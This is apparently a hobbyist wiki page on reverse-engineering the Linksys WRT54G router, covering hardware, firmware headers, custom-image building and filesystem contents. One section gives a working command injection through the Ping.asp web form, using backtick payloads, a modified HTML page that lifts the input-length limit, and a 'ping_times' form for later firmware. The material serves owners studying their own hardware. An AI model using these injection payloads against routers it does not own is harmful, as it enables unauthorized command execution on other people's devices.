HardwareComparison | AccessPointsRouters/802.11g | LinksysWrv54g | LinksysWrt54g | LinksysWRT54GS | WAP54G | WET54G | WRK54G

General Info

This is a Linksys 802.11g Wireless Cable/DSL Router running the Linux kernel and other GPL utilities. It is famous for its extensibility through the use of user-made distributions. http://www.linksys.com/servlet/Satellite?childpagename=US%2FLayout&packedargs=c%3DL_Product_C2%26cid%3D1127782957298&pagename=Linksys%2FCommon%2FVisitorWrapper


LED Indicators (1.0):

Channels: 1-11 (USA)

System requirements: One PC (200MHz or Faster Processor) with: 64MB RAM, Internet Explorer 4.0 or Netscape Navigator 4.7 or Higher for Web-based Configuration, CD-ROM Drive, Microsoft Windows 98, Me, 2000, or XP, a 802.11g or 802.11b Wireless Adapter with TCP/IP Protocol Installed or Network Adapter with Category 5 Ethernet network cable and TCP/IP Protocol installed

In the box: Wireless-G Broadband Router, Power Adapter, Setup CD-ROM with User Guide, Ethernet Network Cable, Quick Installation guide, Registration Card

Device details:

Transmit Power: 15 dBm (Can be increased to 20db/84mw) (FIX: 84mw=19.24db) Info: 15db=31mW 17db=50mW 20db=100mW

Receiver Sensitivity (unconfirmed):

Power (1.0?): 5V @ 2.0A, center

Power (2.0): 12V @ 1.0A, center positive. (Regulated internally down to 3.3V by an AnaChip 1501-33, so the unit should be very tolerant of input fluctuations from 5 to 40 volts. Get the polarity right and it'll make do with whatever you give it.)

To turn on ripd and zebra, go to Advanced -> Routing -> Dynamic Routing and click Apply.

Anyone looking to buy a WRT54G for a good price, (after rebates, sales, etc), can check out this link: http://www.dealsites.net/livedeals+index-mode-search-query-wrt54g.html. It will find any mention of the WRT54G from the popular deal sites.

Hardware on board

RAM: 2 x IC42S16400, 64Mbit (4M X 16) RAM chips (16MB)

Flash: AMD AM29LV320DB-90EI, a 32Mbit chip (4MB)

CPU: Broadcom BCM4702KPB, with a 125MHz MIPS and two 10/100 Ethernet controllers

Ethernet: ADMtek ADM6996 5 port 10/100 switch


version 1.0: Mini PCI slot with Linksys/Broadcom radio FCC ID PKW-WM54G, dual Hirose antenna connectors

version 1.1: has the wireless integrated on the mainboard

Disassembly Pictures WAP54G disassembly pics

Version 2.0:

Version 1 and 2 side by side

Wrt54GS compared to v2.0: (according to this page on LinksysInfo)

Wrt54GS Review on SmallNetBuilder

Latest wrt54gs board spin Wrt54gsRev09

A Breakdown of the differences is listed here: Autospy of the WRT5G/GS

Hacking on the WRT54G at hack night.

Extract the header from any firmware upgrade like this:

dd if=WRT54G_1.30.1_US_code.bin of=header bs=32c count=24577c

And get the cramfs image with this:

dd if=WRT54G_1.30.1_US_code.bin of=linksys.img bs=32c skip=24577c

The header is a Linux kernel with a bit of header info in the first several bytes. The first four bytes are "W54G" (0x57 0x35 0x34 0x47).

Diff on headers between v1.01.4, v1.02.1, and v1.30.1:

0x0000 57 35 34 47 00 00 00 00 03 01 1D 01 01 04 00 00

0x0000 57 35 34 47 00 00 00 00 03 03 04 01 02 01 55 32

0x0000 57 35 34 47 00 00 00 00 03 06 17 01 1E 01 55 32

(starting at Byte 0)

Byte 0x8 Year. 03 == 2003

Byte 0x9 Month. 06 == June, 03 == Mar, 01 == Jan.

Byte 0xA Day. 04 == Mar. 04, 17 == Jun. 23, 1D == Jan. 29

Byte 0xB Major version.

Byte 0xC Middle version number. 02 matches 1.02.1, 1e == 30 hex, which matches 1.30.1

Byte 0xD Minor version.

More bytes changed:

0x0020 48 44 52 30 00 80 28 00 BE 5E F9 57 00 80 00 00

0x0020 48 44 52 30 00 80 2A 00 A8 58 EF DF 00 80 00 00

0x0020 48 44 52 30 00 D0 29 00 78 53 6C D5 00 00 01 00

These sets of 16 start with the bytes "HDR0". Short for header, like the WAP54G?

Bytes 0x24 - 0x27 == file size in little endian, sort of.

v1.01.4: 00 80 28 00

v1.02.1: 00 80 2A 00

v1.30.1: 00 D0 29 00

Convert to big endian

v1.01.4: 00 28 80 00

v1.02.1: 00 2A 80 00

v1.30.1: 00 29 D0 00

Then to decimal:

v1.01.4: 2654208 vs. 2655232 actual size (1024 difference)

v1.02.1: 2785280 vs. 2786304 actual size (1024 difference)

v1.30.1: 2740224 vs. 2741248 actual size (1024 difference)

Bytes 0x28-0x2B are the checksum. In the WAP54G, this was computed by taking the bits just after the checksum and performing a CRC32, followed by a one's complement (flip all bits, for example by subtracting the result from 0xffffffff). This works reliably for the WAP54G, but doesn't work out for this AP.

To calculate it for the original Linksys WRT54G firmware, first strip the trailing 992 bytes (padding) of the file. Then calculate the CRC32 of bytes 0x2C to the end, take the one's complement, and reverse the byte order.

To build your own, you can use the utilities provided in the Linksys GPL tarball.

trx -o /release/src/router/mipsel-uclibc/linux.trx /release/src/router/mipsel-these rpm

       uclibc/vmlinuz /release/src/router/mipsel-uclibc/target.cramfs

cp /release/src/router/mipsel-uclibc/linux.trx /release/image/linux.trx

addpattern -i /release/image/linux.trx -o /release/image/code.bin -g

Or combine the kernel with a CramFS image, compute the CRC32, and take the one's complement. To finish building your own .bin file, compute the ultimate file size, subtract 1024, reverse the byte order, stick that and the CRC at the beginning, along with the other preamble bytes described above, and append 992 0xFF bytes to the end. Simple, eh?

** Actually, if you will notice, 992+32 = 1024, which may help explain why the filesize is off by 1024 in the image--the first 32 bytes and the last 992 bytes are STRIPPED OUT before being written to /dev/mtd1. The Linux kernel is ALWAYS 786432 bytes long (0xC0000)--this is because of how the flash memory is set up: /dev/mtd1 starts at 0x40000 in flash and extends to 0x3F0000, /dev/mtd2 starts at 0x100000, overlapping /dev/mtd1, and is where the cramfs partition starts. The cramfs partition is allocated the rest of flash memory up to 0x3F0000, where the nvram is located. I also found out something even MORE interesting while digging around: The WAP54G 1.02 firmware, while it has a different compiles version of Linux 2.4.5, has IDENTICAL module files (wl.o and et.o) as the WRT54g 1.02 firmware does, and that several of the installed utilities, including /usr/sbin/wl, are also identical between these two products. The firmware files for the WAP54G are formatted the same except that they left off the 32-byte header and the extra 992 bytes--my guess is that this helps stop us from loading firmware for other products onto this one. One of these days I may test it...

There is a good deal of padding in all three files:

v1.01.4: 0x000000d5 - 0x000000e4 are all $ (0x24).

v1.02.1: 0x000000d5 - 0x000000e5 are all $ (0x24).

v1.30.1: 0x000000d5 - 0x000000e4 are all H (0x48).

v1.01.4: 0x0000037b - 0x000003d1 are all 0x12.

v1.02.1: 0x0000037d - 0x000003d3 are all H (0x48).

v1.30.1: 0x0000037b - 0x000003d0 are all 0x84.

v1.01.4: 0x00000448 - 0x00000461 are all B (0x42).

v1.02.1: 0x0000044a - 0x00000463 are all ! (0x21).

v1.30.1: 0x00000448 - 0x00000462 are all $ (0x24).

v1.01.4: 0x0008b7eb - end are all 0x00

v1.02.1: 0x0008b3ef - end are all 0x00

v1.30.1: 0x0008d81c - end are all 0x00

The 16 bytes starting at 0x10 are identical in 1.02.1 and 1.30.1, but are all nulls in 1.01.4. The 16 bytes starting at 0x30 are identical in all three. Everything from 0x40 to the end (except the null padding) is different.

Also, you can't write to an existing cramfs. Make a new one.

A file on the image reveals that it is an old cramfs, not the nice kind that the SourceForge cramfs generates. I found an old version of cramfs here:


...which generated a similar cramfs according to file, but this probably isn't necessary. CramFS v1.1 seemed to work just fine on initial tests, but now I'm not so sure. There have been reports that just changing an asp page or two has nuked some WRT54Gs using CramFS 1.1. YMMV.

Obsolete - wrtgen -- custom firmware packaging tool

A alpha version perl script exists to compute the CRC and file size for your custom root directory, and build a valid .bin: wrtgen

Execute arbitrary code through the Ping.asp interface

Update: The ping bug was partially fixed in newer firmwares, see section 19.54 for more information.

Hack night, 7/29. As a couple of people have reported, you can execute arbitrary shell code on the WRT54G without uploading new firmware!

First, go to . In the IP address field, enter something like this:

`ps ax > /tmp/ping.log`

Yes, those are backticks around that command. Now click the "Ping" button, and the results will be posted in the ping results window. The ping command is evidently executed through a subshell, and the web interface expects the results to be written to /tmp/ping.log, so it will obligingly interpret the backticks, and display the results when the command has run.

The shell used is bash, redirect STDERR to STDOUT for more information on our command line:

`ps ax > /tmp/ping.log 2>&1`

You will likely run into the limitations of the web interface very quickly, as it only allows 31 characters for the IP address input field. No problem. Save the source to Ping.asp to your desktop as ping-of-fun.html, then do the following:

* Add this line somewhere in the HEAD section:

<base href="">

...naturally, substituting the IP of your WRT54G for the IP address above.

* Next, find "INPUT maxLength=31" and replace it with "INPUT maxLength=128", or however long you like.

Now open this HTML file and enter your lengthy commands. Note that after they run, you will be redirected to Ping.asp running on the AP. Just go back in your browser, and enter your next command.

This method is much safer than trying to flash the firmware, as the filesystem is cramfs, and can't easily be modified through the shell. If you crash the box, just cycle the power. That's not to say that it's impossible to fry the box (particularly if fiddling with the nvram commands), but you can ls, grep, cat, or whatever with impunity.

Through this method, we have determined that it does in fact have 16MB ram (about 7.5 free). The layout of the flash is still something of a mystery (check out /dev/mtd/*), but it is definitely running a cramfs out of /, devfs on /dev, and everybody's favorite, /proc.

For newer firmware versions, see 19.54. Or use the alternative ping hack by Niels Teusink: http://www.linksysinfo.org/forums/showthread.php?t=31763

See below for details on getting a shell.

For firmware V4.20.7 (Aug. 18, 2005) the "ping_times" hack works. Example html file:


<FORM action= method=post name=ping>

<INPUT name=submit_type type=hidden value=start>

<INPUT name=action type=hidden value=Apply>

<INPUT name=change_action type=hidden value=gozila_cgi>

<INPUT maxLength=31 name=ping_ip size=31 value="">


<INPUT maxLength=128 name=ping_times size=128 value="` >/tmp/ping.log 2>&1` ">


<INPUT name=submit_button type=submit value=Ping>



insert your command in between ` and >.

Eample `/usr/sbin/wl txpwr >/tmp/ping.log 2>&1` for actual tx power.

(In vers. 3.1 hardware txpower can be set up to 251)

Linksys Firmware Versions

1.01.4 Running Linux kernel 2.4.5 (Linux version 2.4.5 (root@honor) (gcc version 3.0 20010422 (prerelease) with bcm4710a0 modifications) #4 ?g?@ 6?? 23 14:45:24 CST 2003) - WPA is broken(?)


1.30.1 wget removed, Ping bug added - Full support for WPA(?)

1.41.2 (US) Ping bug not fix yet Kernel and divers same as 1.30.1 - Change interface Web layout

1.42.2 (US) Ping bug partially fixed - Linux kernel 2.4.20 included - Cannot downgrade firmware (upgrade to 1.41.8, then downgrade) -

1.42.3 (US) same as 1.42.2, fixed problem with DynDNS abuse

added this code to /release/src/router/shared/shutils.c

{{{ We want to check the board if exist UART? , add by honor 2003-11-05


Maybe the WRT54G supports JTAG or a console port.

1.41.8 (EU) Firmware downgrade reenabled - DSLReports thread

2.00.8 (US) - no changelog available, mentioned only as WRT54G Version 2

2.02.7 (AU) - no changelog available, mentioned only as WRT54G Version 2

4.20.6. May 26,2005 (US)

# more /proc/version Linux version 2.4.20 ( root@localhost.localdomain ) (gcc version 3.2.3 with Broadcom modifications) #3 Thu May 26 10:53:43 CST 2005

Customized Firmware Images

Put your customized firmware images here. For each firmware image please include the version it is based upon as well as what you modified/added/hacked...And add a link to the firmware as well as the source (because you don't want to violate the GPL!)

Actually, people can probably post the patch+original location of the Linksys GPL source as per Sec. 3(c) of the GPL as this would be a "noncommercial" distribution. Saves people from having to host 100M+ tarballs. -sf







Original GPL source

Linksys Official Firmware

cyco-linksys 0.6

based on 1.42.2


see ftp://ftp.cyconet.org/pub/wrt54g/Changelog


based on 1.42.2


see ftp://ftp.cyconet.org/pub/wrt54g/Changelog

OpenWRT forum


OpenWRT b3

stripped OS, adding ipkg in next version

Question : Hi, i tried your patch it works but now, i installed WRT54 Linux Distro, try with command wl txpwr 84 - nothing happen...

Answer : Hmm .. this is more a statement than a question .. :) But anyways ... for bug, known and unknown, look at ftp://ftp.cyconet.org/pub/wrt54g/KNOWN_BUGS !

See also : Discussion below of wifi's excellent work. His firmware is found at http://sourceforge.net/projects/wifi-box/

Interesting files from the GPL tarball

These files may be of interest to the "firmware hackers".


Feature inclusions (DHCP, NTP, DNSMasq, etc.)


Compile options for BusyBox


PING bug re-enabler and rc startup script

/release/src/router/mipsel-uclibc/target (directory)

Cramfs file root directory

Difference between the tarball-derived and Linksys provided firmware

Other than the fact that all the compiled executables differ, there are several files missing from the tarball-derived firmware image.














Examining the filesystem

The basic layout

# ls -al

drwxr-xr-x 2 root root 672 Jul 22 11:16 bin

drwxr-xr-x 2 root root 48 Dec 31 1969 dev

drwxr-xr-x 2 root root 136 Dec 31 1969 etc

drwxr-xr-x 3 root root 256 Dec 31 1969 lib

drwxr-xr-x 2 root root 48 Dec 31 1969 proc

drwxr-xr-x 2 root root 416 Dec 31 1969 sbin

drwxr-xr-x 2 root root 48 Jul 22 11:19 tmp

drwxr-xr-x 5 root root 144 Dec 31 1969 usr

lrwxrwxrwx 1 root root 7 Jul 22 11:16 var -> tmp/var

drwxr-xr-x 4 root root 1688 Dec 31 1969 www


# ls -al bin

-rwxr-xr-x 1 root root 268408 Jul 22 11:16 busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 cat -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 chmod -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 cp -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 date -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 dd -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 df -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 echo -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 false -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 grep -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 kill -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 ln -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 ls -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 mkdir -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 more -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 msh -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 mv -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 ping -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 ps -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 rm -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 rmdir -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 sh -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 sync -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 touch -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 true -> busybox

lrwxrwxrwx 1 root root 7 Jul 22 11:16 uname -> busybox

# ls -al usr/bin

lrwxrwxrwx 1 root root 17 Jul 22 11:16 free -> ../../bin/busybox

lrwxrwxrwx 1 root root 17 Jul 22 11:16 killall -> ../../bin/busybox

lrwxrwxrwx 1 root root 17 Jul 22 11:16 route -> ../../bin/busybox

lrwxrwxrwx 1 root root 17 Jul 22 11:16 traceroute -> ../../bin/busybox

lrwxrwxrwx 1 root root 17 Jul 22 11:16 uptime -> ../../bin/busybox

# ls -al usr/sbin

-rwxr-xr-x 1 root root 35408 Dec 31 1969 brctl

-rwxr-xr-x 1 root root 44620 Dec 31 1969 cron

-rwxr-xr-x 1 root root 9584 Dec 31 1969 dumpleases

-rwxr-xr-x 1 root root 43140 Dec 31 1969 epi_ttcp

-rwxr-xr-x 1 root root 9972 Dec 31 1969 et

lrwxrwxrwx 1 root root 8 Jul 22 11:16 filter -> /sbin/rc

lrwxrwxrwx 1 root root 8 Jul 22 11:16 filtersync -> /sbin/rc

lrwxrwxrwx 1 root root 7 Jul 22 11:16 fw -> netconf

-rwxr-xr-x 1 root root 249796 Dec 31 1969 httpd

-rwxr-xr-x 1 root root 81224 Dec 31 1969 iptables

-rwxr-xr-x 1 root root 85480 Dec 31 1969 iptables-restore

lrwxrwxrwx 1 root root 8 Jul 22 11:16 iptqueue -> /sbin/rc

-rwxr-xr-x 1 root root 79368 Dec 31 1969 ipupdate

lrwxrwxrwx 1 root root 8 Jul 22 11:16 ipupdated -> /sbin/rc

-rwxr-xr-x 1 root root 153968 Dec 31 1969 mDNSResponderPosix

-rwxr-xr-x 1 root root 9988 Dec 31 1969 netconf

-rwxr-xr-x 1 root root 34920 Dec 31 1969 ntpclient

lrwxrwxrwx 1 root root 8 Jul 22 11:16 ntpd -> /sbin/rc

-rwxr-xr-x 1 root root 9956 Dec 31 1969 nvram

-rwxr-xr-x 1 root root 283432 Dec 31 1969 pppd

-rwxr-xr-x 1 root root 159976 Dec 31 1969 pppoecd

-rwxr-xr-x 1 root root 65232 Dec 31 1969 pptp

lrwxrwxrwx 1 root root 8 Jul 22 11:16 resetbutton -> /sbin/rc

-rwxr-xr-x 1 root root 392544 Dec 31 1969 ripd

-rwxr-xr-x 1 root root 74916 Dec 31 1969 tftpd

lrwxrwxrwx 1 root root 6 Jul 22 11:16 udhcpc -> udhcpd

-rwxr-xr-x 1 root root 56744 Dec 31 1969 udhcpd

-rwxr-xr-x 1 root root 118848 Dec 31 1969 upnp

-rwxr-xr-x 1 root root 69108 Dec 31 1969 wl

lrwxrwxrwx 1 root root 8 Jul 22 11:16 write_boot -> /sbin/rc

lrwxrwxrwx 1 root root 8 Jul 22 11:16 write_mac -> /sbin/rc

-rwxr-xr-x 1 root root 268800 Dec 31 1969 zebra

# ls -al usr/bin

lrwxrwxrwx 1 root root 17 Dec 31 1969 basename -> ../../bin/busybox*

lrwxrwxrwx 1 root root 17 Dec 31 1969 dirname -> ../../bin/busybox*

lrwxrwxrwx 1 root root 17 Dec 31 1969 free -> ../../bin/busybox*

lrwxrwxrwx 1 root root 17 Dec 31 1969 killall -> ../../bin/busybox*

lrwxrwxrwx 1 root root 17 Dec 31 1969 logger -> ../../bin/busybox*

lrwxrwxrwx 1 root root 17 Dec 31 1969 route -> ../../bin/busybox*

lrwxrwxrwx 1 root root 17 Dec 31 1969 uptime -> ../../bin/busybox*

lrwxrwxrwx 1 root root 17 Dec 31 1969 wget -> ../../bin/busybox*

Ross: Is the above usr/bin from a wrt54g? It doesn't match the contents of my usr/bin (firmware 1.30.1)

The above usr/bin directory listing is from WRT54G_1.02.1_US_code.bin which is what is currently up on the Linksys download site. Note that it has wget. If we can modify a web page to invoke wget, download a binary and run it... this may be a safe way to test if a binary is compatible.

The www directory

# ls -al www

-rw-r--r-- 1 root root 615 Dec 31 1969 Config.asp

-rwxr-xr-x 1 root root 712 Jul 22 14:25 Cysaja.asp

-rw-r--r-- 1 root root 2063 Dec 31 1969 DB.asp

-rw-r--r-- 1 root root 9945 Dec 31 1969 DDNS.asp

-rw-r--r-- 1 root root 9259 Dec 31 1969 DHCP.asp

-rw-r--r-- 1 root root 2822 Dec 31 1969 DHCPTable.asp

-rw-r--r-- 1 root root 738 Dec 31 1969 Fail.asp

-rw-r--r-- 1 root root 738 Dec 31 1969 Fail_s.asp

-rw-r--r-- 1 root root 438 Dec 31 1969 Fail_u_s.asp

-rw-r--r-- 1 root root 7602 Dec 31 1969 FilterIPMAC.asp

-rw-r--r-- 1 root root 1761 Dec 31 1969 FilterSummary.asp

-rw-r--r-- 1 root root 14644 Dec 31 1969 Filters.asp

-rw-r--r-- 1 root root 16010 Dec 31 1969 Forward.asp

-rw-r--r-- 1 root root 5354 Dec 31 1969 Help.asp

-rw-r--r-- 1 root root 1107 Dec 31 1969 Log_incoming.asp

-rw-r--r-- 1 root root 1117 Dec 31 1969 Log_outgoing.asp

-rw-r--r-- 1 root root 1228 Dec 31 1969 New_device.asp

-rw-r--r-- 1 root root 1218 Dec 31 1969 Old_device.asp

-rw-r--r-- 1 root root 4226 Dec 31 1969 Ping.asp

-rw-r--r-- 1 root root 12251 Dec 31 1969 PortTriggerTable.asp

-rw-r--r-- 1 root root 1903 Dec 31 1969 Radius.asp

-rw-r--r-- 1 root root 3149 Dec 31 1969 Register.asp

-rw-r--r-- 1 root root 1288 Dec 31 1969 Register_fail.asp

-rw-r--r-- 1 root root 1336 Dec 31 1969 Register_ok.asp

-rw-r--r-- 1 root root 1942 Dec 31 1969 RouteTable.asp

-rw-r--r-- 1 root root 10148 Dec 31 1969 Routing.asp

-rw-r--r-- 1 root root 10295 Dec 31 1969 Security.asp

-rw-r--r-- 1 root root 11925 Dec 31 1969 Status.asp

-rw-r--r-- 1 root root 711 Dec 31 1969 Success.asp

-rw-r--r-- 1 root root 757 Dec 31 1969 Success_s.asp

-rw-r--r-- 1 root root 386 Dec 31 1969 Success_u_s.asp

-rw-r--r-- 1 root root 22 Dec 31 1969 SysInfo.htm

-rw-r--r-- 1 root root 11955 Dec 31 1969 System.asp

-rw-r--r-- 1 root root 3196 Dec 31 1969 Traceroute.asp

-rw-r--r-- 1 root root 2802 Dec 31 1969 WEP.asp

-rw-r--r-- 1 root root 3807 Dec 31 1969 WL_ActiveTable.asp

-rw-r--r-- 1 root root 2578 Dec 31 1969 WL_FilterTable.asp

-rw-r--r-- 1 root root 11889 Dec 31 1969 WL_WEPTable.asp

-rw-r--r-- 1 root root 7528 Dec 31 1969 WL_WPATable.asp

-rw-r--r-- 1 root root 9000 Dec 31 1969 WPA.asp

-rw-r--r-- 1 root root 1250 Dec 31 1969 WPA_Preshared.asp

-rw-r--r-- 1 root root 2571 Dec 31 1969 WPA_Radius.asp

-rw-r--r-- 1 root root 9984 Dec 31 1969 Wireless.asp

-rw-r--r-- 1 root root 8957 Dec 31 1969 common.js

-rw-r--r-- 1 root root 3272 Dec 31 1969 firmware_upgrade.asp

drwxr-xr-x 1 root root 268 Dec 31 1969 help

drwxr-xr-x 1 root root 348 Dec 31 1969 image

-rw-r--r-- 1 root root 25120 Dec 31 1969 index.asp

-rw-r--r-- 1 root root 2128 Dec 31 1969 index_pppoe.asp

-rw-r--r-- 1 root root 4626 Dec 31 1969 index_pptp.asp

-rw-r--r-- 1 root root 4771 Dec 31 1969 index_static.asp

-rw-r--r-- 1 root root 565 Dec 31 1969 style.css

These asp files are calling gozila_cgi and apply.cgi which don't appear to be on the filesystem... grepping the http binary shows them:

# strings usr/sbin/httpd | grep -i cgi








The webserver itself is acme mini_httpd (see the http licence).

Binary info

32 bit MIPS binaries

# file bin/busybox

bin/busybox: ELF 32-bit LSB MIPS-I executable, MIPS, version 1 (SYSV), for GNU/Linux 2.3.99, dynamically linked (uses shared libs), stripped

HDR0 info


#include <typedefs.h>

#define TRX_MAGIC 0x30524448 /* "HDR0" */

#define TRX_VERSION 1

#define TRX_MAX_LEN 0x3A0000

#define TRX_NO_HEADER 1 /* Do not write TRX header */

#define TRX_GZ_FILES 0x2 /* Contains up to TRX_MAX_OFFSET individual gzip

 files */

#define TRX_MAX_OFFSET 3

struct trx_header {

        uint32 magic; /* "HDR0" */

        uint32 len; /* Length of file including header */

        uint32 crc32; /* 32-bit CRC from flag_version to end of file */

        uint32 flag_version; /* 0:15 flags, 16:31 version */

        uint32 offsets[TRX_MAX_OFFSET]; /* Offsets of partitions from start of header */


/* Compatibility */

typedef struct trx_header TRXHDR, *PTRXHDR;

The wireless driver

# strings lib/modules/2.4.5/kernel/drivers/net/wl/wl.o


May 21 2003


%s: Broadcom BCM43XX 802.11 Wireless Controller %s (Compiled in %s at %s on %s)

%s: %s driver failed with code %d


wl%d: %s %s version %s

kernel BUG at %s:%d!



# strings usr/sbin/wl

-> Tons of interesting text:



set promiscuous mode ethernet address reception

        0 - disable

        1 - enable



set monitor mode

        0 - disable

        1 - enable active monitor mode (interface still operates)


Comment: In the wl.o you can see some functions like wl_rate ... there some other functions in this lib like wlc_****. It seems to be client functions command. The WL executable file doesn't permit the client mode. So what I think , maybe trying to use this feature (wlc_***) by writing a program we can make a client Linux driver for broadcom 430x card on wrt54g.

Comment: Actually it's the wl.o module that doesn't allow the card to be put into client mode. The wl executable proceeds exactly the same whether you say "ap 1" (accepted) or "ap 0" (rejected).

Comment: Regarding the "driver failed" message: I found that the following message (accompanied by wl.o returning -EBUSY and refusing to load) was caused by some missing nvram variables on a WRT54GS:

eth1: driver failed with code 23

unregister_netdevice: device eth1/81073c00 never was registered

The variables that I needed to reinstate were:




The wired driver

# strings lib/modules/2.4.5/kernel/drivers/net/et/et.o


Broadcom BCM4310 10/100 Mbps Ethernet Controller

Broadcom BCM4307 10/100 Mbps Ethernet Controller

Broadcom BCM47xx 10/100 Mbps Ethernet Controller

Broadcom BCM4402 10/100 Mbps Ethernet Controller



tftpd info

By default, the wrt54g is running a tftp daemon. It looks like there may be some files of interest to download... apparently in /tmp. Apparently, linksys uses a modified tftpd server that requires a password. There is a modified tftp client here

# strings tftpd





Rec filename=%s

%s from %s filename %s remapped to %s

%s from %s filename %s







Write Image To Flash Failuer!

Write MAC to Flash Failure!

MAC Address Flash space is full

Wrong Image File Name

Wrong Code Pattern

Multiple TFTP Session!


Will go firmware_write

Will go firmware_write



RAM Write completed!


tftp-hpa: $Id: tftpsubs.c,v 1.2 2003/03/07 11:21:13 barry Exp $




%s /%s HTTP/1.1

Host: %s

User-Agent: wget

Authorization: Basic %s

Range: bytes=%ld-

Connection: close

HTTP request sent, awaiting response...





Content-Type: application/x-www-form-urlencoded

Content-Length: %d

%s%sCannot allocate %lu bytes after allocating %lu bytes


It looks like the tftpd may interact with the web server during firmware upgrades??

lspci output

One can obtain lspci output by copying the contents of /proc/bus/pci to a Linux machine and then running lspci with the "-P" switch:

# lspci -P .

00:00.0 RAM memory: Broadcom Corporation: Unknown device 0803

00:01.0 Ethernet controller: Broadcom Corporation: Unknown device 4711

00:02.0 Ethernet controller: Broadcom Corporation: Unknown device 4713

00:03.0 Modem: Broadcom Corporation: Unknown device 4712

00:04.0 USB Controller: Broadcom Corporation: Unknown device 4715

00:05.0 PCI bridge: Broadcom Corporation: Unknown device 0804

00:06.0 MIPS: Broadcom Corporation: Unknown device 0805

00:07.0 FLASH memory: Broadcom Corporation: Unknown device 0811

00:08.0 Ethernet controller: Broadcom Corporation: Unknown device 4713

01:00.0 Host bridge: Broadcom Corporation: Unknown device 4710 (rev 01)

01:08.0 Network controller: Broadcom Corporation: Unknown device 4320 (rev 02)

Same on the WRT54GS (German Version)

$ lspci -P .

0000:00:00.0 FLASH memory: Broadcom Corporation Sentry5 Chipcommon I/O Controller (rev 01)

0000:00:01.0 Network controller: Broadcom Corporation BCM4306 802.11b/g Wireless LAN Controller (rev 01)

0000:00:02.0 Ethernet controller: Broadcom Corporation Sentry5 Ethernet Controller (rev 01)

0000:00:03.0 USB Controller: Broadcom Corporation BCM47xx Sentry5 USB Device Controller (rev 01)

0000:00:04.0 USB Controller: Broadcom Corporation BCM47xx Sentry5 USB Host Controller (rev 01)

0000:00:05.0 MIPS: Broadcom Corporation BCM3302 Sentry5 MIPS32 CPU (rev 01)

0000:00:06.0 RAM memory: Broadcom Corporation Sentry5 DDR/SDR RAM Controller (rev 01)

On the US WRT54G v2 hardware:

$ lspci -P .

0000:00:00.0 FLASH memory: Broadcom Corporation Sentry5 Chipcommon I/O Controller (rev 01)

0000:00:01.0 Network controller: Broadcom Corporation BCM4306 802.11b/g Wireless LAN Controller (rev 01)

0000:00:02.0 Ethernet controller: Broadcom Corporation Sentry5 Ethernet Controller (rev 01)

0000:00:03.0 USB Controller: Broadcom Corporation BCM47xx Sentry5 USB Device Controller (rev 01)

0000:00:04.0 USB Controller: Broadcom Corporation BCM47xx Sentry5 USB Host Controller (rev 01)

0000:00:05.0 MIPS: Broadcom Corporation BCM3302 Sentry5 MIPS32 CPU (rev 01)

0000:00:06.0 RAM memory: Broadcom Corporation Sentry5 DDR/SDR RAM Controller (rev 01)

The Linux PCI ID Repository: Broadcom Corporation

Network Interface Layout

Here goes my view of the network architecture of the WRT54G (and other clones) A hardware switch with 5 ports, 4 are the external lan ports (1 to 4), the fifth is connected to the "router" module that has 3 ports (eth0, eth1 and eth2, in Linux terms), eth0 made the connection to the switch module, eth1 is the WAN port that connects to the outside world (ADSL, CABLE, etc.) and finally eth2 connect to the wireless module ... Have you missed something ??? I hope so, if you question is "eth2 and eth0 aren't in the same layer2 lan ?", that's the right point! eth2 and eth0 seem to be software bridged by the Linux kernel an act as a unique L3 interface as "br0". This is a nice thing, in the future we probably can split the wireless (eth2) and the switch (eth0) and do a better control of the traffic (iptables) between them.


PS: Sorry for my bad English! -- pribeiro @net.ipl.pt

And here goes my view of the network architecture of the WRT54G v2.

There's a hardware switch with 6 ports. Port 0 is the "Internet" port, assigned by default to vlan1. Ports 1 to 4 are the external LAN ports "1 2 3 4", asigned by default to vlan0. The 5th port is the cpu port, which by default sees all traffic from all vlans (it has vlan0, vlan1 and vlan16 assigned, and sees vlan tags so that it can distinguish where the traffic comes from). The cpu port is seen by Linux as eth0 (yes, eth0 includes the WAN and the LAN ports).

There's also an internal WLAN card, which Linux sees as eth1.

Linux, by default, creates a bridge br0 between vlan0 and eth1, thus bridging the LAN and the WLAN.

By default, we see IP addresses on:


                     / | \ \_ \____

                    /  |  \  \__   \_____

                   /   |   \    \        \

       | [0]     [1]  [2]  [3] [4] | | [wlan] |

       |vlan1     ---- vlan0 ----- | |        |

       | WAN            LAN        | |  WLAN  |

       |                           | |        |

       |Internet  1    2    3   4  | |  WLAN  | <-- label

       +---------------------------+ +--------+

              ethernet switch         wireless

             eth0 (cpu port 5)          eth1

--- Albert Herranz

Comment: It seems that there is one MII interface out of the CPU connecting to the switch controller (ADM6996), which in turn is connected directly to the WAN port, If you look at the full size picture, you can clearly see that pins 123-4,6-7 are connected to the single-port transformer T2 (TS6121) for the WAN. Maybe there is two MACs on the chip itself, but the output is multiplexed over a single MII interface with VLAN tagging, which is the reason why they needed to use the ADM6996 to demultiplex the signal to the WAN and LAN. The ADM documentation actually documents this on page 31 as the recommended way of doing this!

